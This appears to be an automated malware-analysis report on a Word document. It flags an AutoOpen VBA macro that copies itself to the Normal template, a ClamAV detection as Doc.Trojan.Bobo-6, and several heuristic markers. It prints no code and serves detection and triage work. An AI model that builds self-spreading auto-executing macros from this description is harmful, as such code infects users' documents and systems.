MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The script attempts to copy itself to the Normal template and the active document, suggesting an intent to ensure persistence or spread the macro. The ClamAV detection as 'Doc.Trojan.Bobo-6' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Bobo-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bobo-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
